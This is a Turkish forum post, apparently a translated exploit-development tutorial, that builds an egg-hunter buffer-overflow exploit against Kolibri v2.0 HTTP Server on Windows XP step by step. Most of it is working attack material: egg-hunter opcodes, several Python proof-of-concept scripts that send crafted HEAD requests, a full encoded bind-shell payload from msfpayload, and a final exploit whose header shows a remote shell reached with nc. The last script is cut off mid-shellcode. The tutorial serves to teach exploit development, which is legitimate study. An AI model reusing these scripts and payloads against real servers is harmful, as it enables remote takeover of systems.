Windows Exploit Geliştirme Serisi #4 Egg Hunters

Gauloran · 23 Eyl 2020

Exploit geliştirme serisinin 4.kısmına hoş geldiniz bu kısımda "egg hunters" tan bahsedeceğim. Bu yöntem exploit geliştirme konusunda çok kullanışlı olabiliyor. Bu süreci göstermek adına "Kolibri v2.0 HTTP Server" için sıfırdan exploit oluşturacağız.

Önceki exploitlere buradan ulaşabilirsiniz: https://www.exploit-db.com/search/?action=search&filter_exploit_text=kolibri+v2.0

Kötü karakterlerin listesi şu şekilde \x00\x0d\x0a\x3d\x20\x3f

Exploit Geliştirme: Backtrack 5
Hata Ayıklama: Windows XP PRO SP3
Savunmasız Yazılım: Download

Egg Hunters'a Giriş

Önceki konulardan dolayı artık arabellek taşması yani buffer overflows konusunda bilgi sahibi olmalısınız. Özetle arabellek taşmasının çalışma mantığını anlamış olmanız gerekli. Bir program büyük bir arabellek depolar ve bir noktadan sonra bu depolama akışını ele geçiririz ve kontrolü arabelleğimizin bir bölümünü içeren CPU kayıtlarından birine yönlendiririz ve oradaki komutları yürütürüz. Ama kendinize şunu sormalısınız, kontrolü ele aldıktan sonra adam akıllı bir payload için yeterli arabellek alanımız ya yoksa? Eğer öyleyse belirli bir güvenlik açığından yararlanılamaz, ama endişelenmeyin çünkü bu pek de olası bir durum değil.

Bu durumda 2 seçenek var: (1) EIP'nin üzerine yazmadan önceki ara bellek alanı da bir yerde bellekte ve (2) bir ara bellek bölümü de tamamen farklı bir bellek bölgesinde saklanabilir. Bu diğer ara bellek alanı yakındaysa, oraya bir "ofsete atlama" ile ulaşabilirsiniz, fakat eğer uzaktaysa veya kolayca erişilebilir bir durumda değilse, başka bir yöntem bulmamız gerekecektir (bir adresi kodlayıp ona atlayabiliriz ama güvenilirlik açısından bunu asla yapmamalıyız.)

Egg Hunter, opcode'a çevrilen bir dizi programatik talimattan oluşur ve bu bakımdan diğer shell kodlarından farklı değildir (bu kısım önemli, çünkü kötü karakterler de içerebilir). Bir Egg Hunter'cının amacı, son aşamadaki shell kodu için tüm bellek aralığını araştırmak ve yürütme akışını ona yönlendirmektir. Mevcut birkaç Egg Hunter var, nasıl çalıştıkları hakkında daha fazla bilgi edinmek isterseniz bu makaleyi öneriyorum.

http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

Aslında bu Egg Hunter'lardan birinin biraz değiştirilmiş bir versiyonunu kullanacağız, yapısını aşağıda görebilirsiniz.

Kod:

loop_inc_page:
    or    dx, 0x0fff                    // Add PAGE_SIZE-1 to edx
loop_inc_one:
    inc   edx                           // Increment our pointer by one
loop_check:
    push  edx                           // Save edx
    push  0x2                           // Push NtAccessCheckAndAuditAlarm
    pop   eax                           // Pop into eax
    int   0x2e                          // Perform the syscall
    cmp   al, 0x05                      // Did we get 0xc0000005 (ACCESS_VIOLATION) ?
    pop   edx                           // Restore edx
loop_check_8_valid: 
    je    loop_inc_page                 // Yes, invalid ptr, go to the next page

is_egg:
    mov   eax, 0x50905090               // Throw our egg in eax
    mov   edi, edx                      // Set edi to the pointer we validated
    scasd                               // Compare the dword in edi to eax
    jnz   loop_inc_one                  // No match? Increment the pointer by one
    scasd                               // Compare the dword in edi to eax again (which is now edx + 4)
    jnz   loop_inc_one                  // No match? Increment the pointer by one

matched:
    jmp   edi                           // Found the egg.  Jump 8 bytes past it into our code.

Tam olarak nasıl çalıştığını açıklamayacağım, daha fazla ayrıntı için skape'in makalesini okuyabilirsiniz. Bilmeniz gereken şey, Egg Hunter'ın kullanıcı tanımlı 4 baytlık bir etiket içerdiğidir, daha sonra bu etiketi iki kez tekrarlanana kadar bellekte arayacaktır (eğer etiket "1234" ise "12341234" diye arayacaktır). Etiketi bulduğunda, yürütme akışını etiketin hemen sonrasına yönlendirecek ve böylece shell kodumuza da yönlendirecektir. Bir exploitte Egg Hunter'a ihtiyacınız varsa, küçük boyutu (32 bayt), Windows platformlarında hızı ve taşınabilirliği nedeniyle bunu kullanmanızı şiddetle tavsiye ederim (!Mona'da da uygulanacak ancak daha sonra bunun hakkında yazarım) Aşağıdaki Egg Hunter'ı opcode'a dönüştürüldükten sonra görebilirsiniz.

Kod:

"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7"

The tag in this case is "b33f", if you use an ASCII tag you can easily convert it to hex with a quick 
google search... In this case we will need to prepend our final stage shellcode with "b33fb33f" so our
egg hunter can find it.

Kendi exploitimize devam etmeden önce, Egg Hunter'ın herhangi bir kötü karakter içermesi durumunda ne yapmanız gerektiğini size göstermek istiyorum. Öncelikle 32 baytı bir ikili dosyaya yani binary dosyasına yazmamız gerekecek, bunu yapmak için benim yazdığım "bin.sh" scriptini kullanabilirsiniz, bunu kodlama bölümünde bulabilirsiniz. Bu yapıldığında, onu msfencode ile kodlayabiliriz. Aşağıda bunun bir örneğini görebilirsiniz, kodlamanın bayt boyutunu nasıl etkilediğine dikkat edin.

Kod:

root@bt:~/Desktop# ./bin.sh -i test.txt -o hunter -t B
[>] Parsing Input File
[>] Pipe output to xxd
[>] Clean up
[>] Done!!

root@bt:~/Desktop# msfencode -b '\xff' -i hunter.bin
[*] x86/shikata_ga_nai succeeded with size 59 (iteration=1)
buf = 
"\xd9\xcf\xd9\x74\x24\xf4\x5e\x33\xc9\xbf\x4d\x1a\x03\x02" +
"\xb1\x09\x31\x7e\x17\x83\xee\xfc\x03\x33\x09\xe1\xf7\xad" +
"\xac\x2f\x08\x3e\xed\xfd\x9d\x42\xa9\xcc\x4c\x7e\x4c\x95" +
"\xe4\x91\xf6\x4b\x36\x5e\x61\x07\xc2\x0f\x18\xfd\x9c\x3a" +
"\x04\xfe\x04"

root@bt:~/Desktop# msfencode -e x86/alpha_mixed -i hunter.bin
[*] x86/alpha_mixed succeeded with size 125 (iteration=1)
buf = 
"\xdb\xcf\xd9\x74\x24\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x43\x56\x6b\x31\x49\x5a\x6b\x4f\x46\x6f\x37" +
"\x32\x46\x32\x70\x6a\x44\x42\x42\x78\x5a\x6d\x46\x4e\x77" +
"\x4c\x35\x55\x32\x7a\x71\x64\x7a\x4f\x48\x38\x73\x52\x57" +
"\x43\x30\x33\x62\x46\x4c\x4b\x4a\x5a\x4c\x6f\x62\x55\x6b" +
"\x5a\x6e\x4f\x43\x45\x69\x77\x59\x6f\x78\x67\x41\x41"

Daha önce de söylediğim gibi, Kolibri v2.0 HTTP Sunucusunu dize getireceğiz. Bunu yapmak için arabellek aşmasını bir HTTP isteğine yerleştireceğiz. Aşağıda EIP'nin üzerine yazılması gereken POC'umuzu görebilirsiniz. Bu exploiti yeniden yaratmaya karar verirseniz, sadece uygun yerlerde IP'leri değiştirin; ayrıca 8080 varsayılan porttur yani bağlantı noktasıdır fakat bu Kolibri tarafından değiştirilebilir.

Kod:

#!/usr/bin/python
 
import socket
import os
import sys
 
Stage1 = "A"*600
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

Her zamanki gibi Kolibri'yi Immunity Debugger'a (hata ayıklayıcıya) ekleriz ve POC exploitimizi uygularız. Aşağıdaki ekran görüntüsünde EIP'nin üzerine yazdığımızı ve ESP'nin arabelleğimizin bir bölümünü içerdiğini görebilirsiniz. Daha uzun bir arabellek gönderirsek, SEH'nin üzerine de yazabiliriz, dedikleri gibi bir kedinin derisini yüzmenin birçok yolu vardır, ancak bugün Egg Hunter'cılık oynuyoruz :d bu yüzden devam edelim.

Stage1 kurulumu

Bu konuyu dikkatli bir şekilde okuyanlar, POC'mizdeki arabellek değişkeninin "Stage1", daha sonra "Stage2" olarak adlandırıldığını fark edecektir. EIP ve ESP'ye olan uzaklıkları bulalım. Her zamanki gibi arabelleğimizi ****sploit kalıbı ile değiştireceğiz ve işi !Mona'nın yapmasına izin vereceğiz.

Kod:

root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0A
o1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar
6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

!mona findmsp

Tamam şimdiye kadar çok iyi, bu bilgilere dayanarak arabelleğimizi aşağıda gösterildiği gibi yeniden oluşturabiliriz. EIP, ilk 515 baytı doğrudan takip eden 4 bayt ile üzerine yazılacak ve EIP'den sonra gelen tüm baytlar ESP kaydında yer alacaktır.

Stage1 = "A"*515 + [EIP] + BBBBB.....

Güzel, yürütme akışını ESP'ye yönlendirebilecek bir adres bulalım. Herhangi bir kötü karakter içermeyebileceğini unutmayın. Aşağıdaki ekran görüntüsünde görebileceğiniz gibi baya seçenek var, bunlar elbette işletim sistemi dll'leri ama o kadar da önemli değil.

!mona jmp -r esp

Bu işaretçilerden birini seçip arabelleğimize yerleştirelim. Bu noktada "Stage1" in amacını açıklamalıyım, Egg Hunter'ımızı buraya yerleştireceğiz (son aşama shellcode'u hakkında daha sonra endişeleneceğiz :d). Şimdi burada birkaç seçenek var, orada kesinlikle yerimiz olduğu için Egg Hunter'ımızı ESP'ye yerleştirebiliriz, ancak düzen için Egg Hunter'ı EIP'nin üzerine yazmadan önce arabellek boşluğa yerleştirmeyi tercih ediyorum. Bunu başarmak için ESP'ye, Egg Hunter için yeterli alana sahip arabelleğimizde geriye doğru atlayacak bir "short jump" talimatı vereceğiz. Bu "short jump" yalnızca 2 bayt gerektirir, bu nedenle arabelleğimizi aşağıdaki gibi yeniden yapılandırmalıyız.

Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll)
Buffer: Stage1 = "A"*515 + "\x59\x54\xC3\x77" +"B"*2

Şu an için "short jump" işlem kodunu doldurmayacağız, onu "B"*2 olarak bırakacağız, böylece breakpointimize yani kesme noktamıza ulaştığımızı kontrol edebiliriz (çünkü ara bellek uzunluğunu azaltıyoruz ve bu durum çökmeyi değiştirebilir). Yeni POC'umuz böyle görünmelidir.

Kod:

#!/usr/bin/python
 
import socket
import os
import sys
 
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => ????                             #
#-------------------------------------------------------------------------------#
 
Stage1 = "A"*515 + "\x59\x54\xC3\x77" + "B"*2
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

Hata ayıklayıcıda Kolibri'yi yeniden ekledikten ve POC'umuzu çalıştırdıktan sonra, kesme noktamıza yani breakpointe ulaştığımızı görüyoruz.

Mükemmel!! Bu talimatları F7 ile atlarsak, ESP olarak bulunan iki B'mize geri döneceğiz. 60 bayt geri atlayacak opcode'umuzu yapma zamanı (bu sadece yeterli alan sağlayan rastgele bir değerdir). "short jump" işlem kodu "\xEB" ile başlar ve ardından atlamamız gereken mesafeyi yazmalıyız. Bu değeri elde etmek için, Windows da zaten önceden kurulu olarak gelen tek kullanışlı aracı kullanacağız :d, aşağıdaki ekran görüntülerine bakın.

Exploit geliştirirken, Windows hesap makinesinin kullanışlılığını takdir etmeyi öğreneceksiniz. Her neyse teorimizi test edelim, yeni arabellek şöyle görünmeli:

Stage1 = "A"*515 + "\x59\x54\xC3\x77" +"\xEB\xC4"

EIP'deki kesme noktasından yani breakpoint'ten geçtikten sonra, "short jump" opcode'umuzu içeren ESP'ye yönlendiriliriz ve F7 ile atlamayı yaparsak, arabelleğimizde mevcut konumumuza göre 60 bayt geriye atlar ve A'larımıza güzelce ineriz. . Bunu aşağıdaki ekran görüntülerinde görebilirsiniz.

"Stage1" için geriye kalan tek şey, Egg Hunter'ımızı üretmek ve arabelleğimize yerleştirmektir. Bu konunun başında Egg Hunter'ı kullanabilir veya manuel olarak değiştirebilirsiniz, ancak daha önce söylediğim gibi "!Mona", bir Egg Hunter oluşturma ve özel bir etiket belirleme seçeneği içeriyor, bu yüzden buna bir göz atmamız lazım

!mona help egg
!mona egg -t b33f

Egg Hunter'ın 32 bayt uzunluğunda olduğunu bildiğimiz için biraz hesaplama yaparak onu arabelleğimize kolayca yerleştirebiliriz. Aşağıda son "Stage1" POC'umuzu ve Egg Hunter'ın "short jump" ile EIP'nin üzerine yazmamız ile ilgili şeyleri gösteren bir ekran görüntüsünü görebilirsiniz.

Kod:

#!/usr/bin/python
 
import socket
import os
import sys
 
#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
 
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4                         #
# (3) Enough room for egghunter; marker "b33f"                                  #
#-------------------------------------------------------------------------------#
 
Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

Yani durum budur. Arabellek taşmamız, yürütmeyi bellekte son aşama shellcode'umuzu (şu an için mevcut olmayan) arayan Egg Hunter'ımıza yönlendirir. Exploiti çalıştırmayın çünkü Egg Hunter, var olmayan Egg'i ararken CPU'yu kalıcı olarak% 100'e kadar kullanacaktır, aman diyim.

Stage2 kurulumu
Geriye Egg'imizi içeren Stage2 yi nereye koyabiliriz sorusu kalıyor. Arabellek taşmaları içeren HTTP isteklerinde benzersiz bir kalite vardır. HTTP istek paketi, hepsi gerekli olmayan birkaç "alan" içerir (aslında, exploitimizde gönderdiğimiz paket zaten önemli ölçüde kaldırılmıştır). Basit açıklamalar uğruna bu alanlara 1,2,3,4,5 diyelim. Alan 1'de bir arabellek taşması varsa, normalde alan 2'nin alan 1'in sadece bir uzantısı olduğunu varsayarız. Ancak, bu farklı "alanların" her birinin içinde uygun bir konumu olacaktır. bellek ve alan 1 (veya Stage1) bir arabellek taşması içerse dahi diğer alanlar çökme anında belleğe ayrı olarak yüklenecektir.

Bakalım "User-Agent" alanına 1000 baytlık bir ****sploit kalıbı enjekte ettiğimizde ne olacağını görelim. Yeni POC'yi aşağıda görebilirsiniz

Kod:

#!/usr/bin/python
 
import socket
import os
import sys
 
#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
 
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4                         #
# (3) Enough room for egghunter; marker "b33f"                                  #
#-------------------------------------------------------------------------------#
 
Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"
Stage2 = "Aa0Aa1Aa...0Bh1Bh2B" #1000-bytes
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: " + Stage2 + "\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

Kolibri'yi hata ayıklayıcıya ekleyin ve 0x77C35459'a bir breakpoint yani kesme noktası koyun çünkü ****sploit modelini aramamız lazım! Mona'ya ihtiyacımız var ve Egg Hunter'ın kodunun çalışmasını istemiyoruz. Aşağıdaki ekran görüntüsünden de görebileceğiniz gibi ****sploit modelinin tamamını bellekte bulabiliriz (hem de üç kez). Aslında biraz test yaptım ve 1000 bayt yeterli olsa da daha büyük arabellek alanı parçalarını enjekte edebiliriz.

Esasen bu noktada işimiz bitti, eğer bu arabellek alanını Stage2'de Egg etiketimizi yerleştirmek için kullanırsak ve bundan hemen sonra bizim payloadımız Egg Hunter'ı bulup çalıştırır!

Shellcode + İşlem Tamam
Yine her zamanki gibi iki şey kalıyor: (1) POC'umuzu değiştiririz ve shell kodumuzu kabul etmeye hazır hale gelir ve (2) keyfimize göre bir payload oluşturur. Aşağıda son POC'yi görebilirsiniz, Stage2'nin Egg etiketimizi içerdiğine dikkat edin. Shell kodu değişkenine yerleştirilen herhangi bir shell kodu, Egg Hunter'ımız tarafından çalıştırılacaktır.

Kod:

#!/usr/bin/python
 
import socket
import os
import sys
 
#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
 
shellcode = (
)
 
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4                         #
# (3) Enough room for egghunter; marker "b33f"                                  #
#-------------------------------------------------------------------------------#
# Stage2:                                                                       #
# (4) We embed the final stage payload in the HTTP header, which will be put    #
#     somewhere in memory at the time of the initial crash, b00m Game Over!!    #
#-------------------------------------------------------------------------------#
 
Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"
Stage2 = "b33fb33f" + shellcode
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: " + Stage2 + "\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

Tamam, shell kodumuzu oluşturmadan önce başa çıkmamız gereken bazı şeyler var. Bazı testlerden sonra kötü karakter kümesinin Stage2 arabelleğimiz için geçerli olmadığını fark ettim. Bu exploiti yeniden yaratırsanız, uygun bir kötü karakter analizi yapmaktan çekinmeyin. Bir ASCII arabelleğinin herhangi bir soruna yol açmayacağını bildiğimizden (****sploit modelini de sağlam bulabildiğimiz için) ve yeterince yerimiz olduğunu bildiğimizden (tabi Stage2'yi 3000 bayta kadar test ettiğimi düşünüyorum) ASCII kodlu bir payload oluşturur.

Kod:

root@bt:~# msfpayload -l
[...snip...]
windows/shell/reverse_tcp_dns    Connect back to the attacker, Spawn a piped command shell (staged)
windows/shell_bind_tcp           Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw      Disable the Windows ICF, then listen for a connection and spawn a 
                                 command shell
[...snip...]

root@bt:~# msfpayload windows/shell_bind_tcp O

       Name: Windows Command Shell, Bind TCP Inline
     Module: payload/windows/shell_bind_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 341
       Rank: Normal

Provided by:
  vlad902 <[email protected]>
  sf <[email protected]>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LPORT     4444             yes       The listen port
RHOST                      no        The target address

Description:
  Listen for a connection and spawn a command shell
  
root@bt:~# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -e  x86/alpha_mixed -t c
[*] x86/alpha_mixed succeeded with size 744  (iteration=1)

unsigned char buf[] =
"\xdb\xcf\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58"
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c"
"\x4a\x48\x6d\x59\x67\x70\x77\x70\x67\x70\x53\x50\x4d\x59\x4b"
"\x55\x75\x61\x49\x42\x35\x34\x6c\x4b\x52\x72\x70\x30\x6c\x4b"
"\x43\x62\x54\x4c\x4c\x4b\x62\x72\x76\x74\x6c\x4b\x72\x52\x35"
"\x78\x36\x6f\x6e\x57\x42\x6a\x76\x46\x66\x51\x6b\x4f\x50\x31"
"\x69\x50\x6c\x6c\x75\x6c\x35\x31\x53\x4c\x46\x62\x34\x6c\x37"
"\x50\x6f\x31\x58\x4f\x74\x4d\x75\x51\x49\x57\x6d\x32\x4c\x30"
"\x66\x32\x31\x47\x4e\x6b\x46\x32\x54\x50\x4c\x4b\x62\x62\x45"
"\x6c\x63\x31\x68\x50\x4c\x4b\x61\x50\x42\x58\x4b\x35\x39\x50"
"\x33\x44\x61\x5a\x45\x51\x5a\x70\x66\x30\x6c\x4b\x57\x38\x74"
"\x58\x4c\x4b\x50\x58\x57\x50\x66\x61\x58\x53\x78\x63\x35\x6c"
"\x62\x69\x6e\x6b\x45\x64\x6c\x4b\x76\x61\x59\x46\x45\x61\x39"
"\x6f\x70\x31\x39\x50\x6c\x6c\x4f\x31\x48\x4f\x66\x6d\x45\x51"
"\x79\x57\x46\x58\x49\x70\x50\x75\x39\x64\x73\x33\x61\x6d\x59"
"\x68\x77\x4b\x53\x4d\x31\x34\x32\x55\x38\x62\x61\x48\x6c\x4b"
"\x33\x68\x64\x64\x76\x61\x4e\x33\x43\x56\x4c\x4b\x44\x4c\x70"
"\x4b\x6e\x6b\x51\x48\x35\x4c\x43\x31\x4b\x63\x4e\x6b\x55\x54"
"\x6e\x6b\x47\x71\x48\x50\x4c\x49\x31\x54\x45\x74\x36\x44\x43"
"\x6b\x43\x6b\x65\x31\x52\x79\x63\x6a\x72\x71\x39\x6f\x6b\x50"
"\x56\x38\x33\x6f\x50\x5a\x4c\x4b\x36\x72\x38\x6b\x4c\x46\x53"
"\x6d\x42\x48\x47\x43\x55\x62\x63\x30\x35\x50\x51\x78\x61\x67"
"\x43\x43\x77\x42\x31\x4f\x52\x74\x35\x38\x70\x4c\x74\x37\x37"
"\x56\x37\x77\x4b\x4f\x78\x55\x6c\x78\x4c\x50\x67\x71\x67\x70"
"\x75\x50\x64\x69\x49\x54\x36\x34\x36\x30\x35\x38\x71\x39\x6f"
"\x70\x42\x4b\x55\x50\x79\x6f\x4a\x75\x66\x30\x56\x30\x52\x70"
"\x76\x30\x77\x30\x66\x30\x73\x70\x66\x30\x62\x48\x68\x6a\x54"
"\x4f\x4b\x6f\x4b\x50\x79\x6f\x78\x55\x4f\x79\x59\x57\x75\x61"
"\x6b\x6b\x42\x73\x51\x78\x57\x72\x35\x50\x55\x77\x34\x44\x4d"
"\x59\x4d\x36\x33\x5a\x56\x70\x66\x36\x43\x67\x63\x58\x38\x42"
"\x4b\x6b\x64\x77\x50\x67\x39\x6f\x4a\x75\x66\x33\x33\x67\x73"
"\x58\x4f\x47\x4d\x39\x55\x68\x69\x6f\x49\x6f\x5a\x75\x33\x63"
"\x32\x73\x53\x67\x42\x48\x71\x64\x6a\x4c\x47\x4b\x59\x71\x59"
"\x6f\x5a\x75\x30\x57\x4f\x79\x78\x47\x61\x78\x34\x35\x30\x6e"
"\x70\x4d\x63\x51\x39\x6f\x69\x45\x72\x48\x75\x33\x50\x6d\x55"
"\x34\x57\x70\x6f\x79\x5a\x43\x43\x67\x71\x47\x31\x47\x54\x71"
"\x5a\x56\x32\x4a\x52\x32\x50\x59\x66\x36\x58\x62\x39\x6d\x71"
"\x76\x4b\x77\x31\x54\x44\x64\x65\x6c\x77\x71\x37\x71\x4c\x4d"
"\x37\x34\x57\x54\x34\x50\x59\x56\x55\x50\x43\x74\x61\x44\x46"
"\x30\x73\x66\x30\x56\x52\x76\x57\x36\x72\x76\x42\x6e\x46\x36"
"\x66\x36\x42\x73\x50\x56\x65\x38\x42\x59\x7a\x6c\x67\x4f\x4e"
"\x66\x79\x6f\x4a\x75\x4d\x59\x6b\x50\x62\x6e\x76\x36\x42\x66"
"\x4b\x4f\x36\x50\x71\x78\x54\x48\x4c\x47\x75\x4d\x51\x70\x4b"
"\x4f\x48\x55\x6f\x4b\x6c\x30\x78\x35\x6f\x52\x33\x66\x33\x58"
"\x6c\x66\x4f\x65\x6f\x4d\x4f\x6d\x6b\x4f\x7a\x75\x75\x6c\x56"
"\x66\x51\x6c\x65\x5a\x4b\x30\x79\x6b\x69\x70\x51\x65\x77\x75"
"\x6d\x6b\x30\x47\x36\x73\x31\x62\x62\x4f\x32\x4a\x47\x70\x61"
"\x43\x4b\x4f\x4b\x65\x41\x41";

Bazı notları ekledikten sonra son exploit hazır!

Kod:

#!/usr/bin/python
 
#-------------------------------------------------------------------------------#
# Exploit: Kolibri v2.0 HTTP Server HEAD (egghunter)                            #
# Author: b33f (Ruben Boonen) - http://www.fuzzysecurity.com/                   #
# OS: WinXP PRO SP3                                                             #
# Software: http://cdn01.exploit-db.com/wp-content/themes/exploit/applications/ #
#           f248239d09b37400e8269cb1347c240e-BladeAPIMonitor-3.6.9.2.Setup.exe  #
#-------------------------------------------------------------------------------#
# This exploit was created for Part 4 of my Exploit Development tutorial        #
# series - http://www.fuzzysecurity.com/tutorials/expDev/4.html                 #
#-------------------------------------------------------------------------------#
# root@bt:~/Desktop# nc -nv 192.168.111.128 9988                                #
# (UNKNOWN) [192.168.111.128] 9988 (?) open                                     #
# Microsoft Windows XP [Version 5.1.2600]                                       #
# (C) Copyright 1985-2001 Microsoft Corp.                                       #
#                                                                               #
# C:\********s and Settings\Administrator\Desktop>                              #
#-------------------------------------------------------------------------------#
 
import socket
import os
import sys
 
#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
 
#msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -e x86/alpha_mixed -t c
#
[*] x86/alpha_mixed succeeded with size 744 (iteration=1)
shellcode = (
"\xdb\xcf\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49"
